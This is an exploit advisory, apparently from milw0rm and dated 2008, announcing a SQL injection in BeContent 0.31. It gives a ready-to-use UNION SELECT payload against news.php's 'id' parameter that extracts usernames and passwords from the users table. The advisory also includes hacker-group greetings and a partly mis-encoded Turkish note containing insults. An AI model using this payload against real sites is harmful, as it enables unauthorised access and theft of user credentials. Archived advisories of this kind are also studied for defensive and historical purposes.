BeContent 031 - 'id' SQL Injection

Founder By Cr@zy_King

HackShow.Us

BeContent v.031 (id) Remote Sql  Vuln.

Down : http://code.google.com/p/becontent/downloads/list?id_menu=9

Exploit:

news.php?id=-3+union+select+1,concat_ws(0x3a,username,password),3,4+from+users

Greatz : Barakuda (GraBBerZ team) & Crackers_Child & Eno7 & DreamTurk & Gencturk & Constantine

Not : Ayyildiz 'da Askeri �0�3�0�6urada Yayinlad�0�2±g�0�2±m A�0�1§�0�2±klar�0�2± Kullananlar�0�2±n hepsinin a.q yyim bunlar�0�2±da kullananlar�0�2±nda a.qyyim

Alay�0�2±na �0�2°syan Kral�0�2±na Hodri Meydan Sozum Metehan'a ;) Hadi eyw.

side note: seems this vulnerability was found around a month earlier by (GraBBerZ TeaM)

# milw0rm.com [2008-02-21]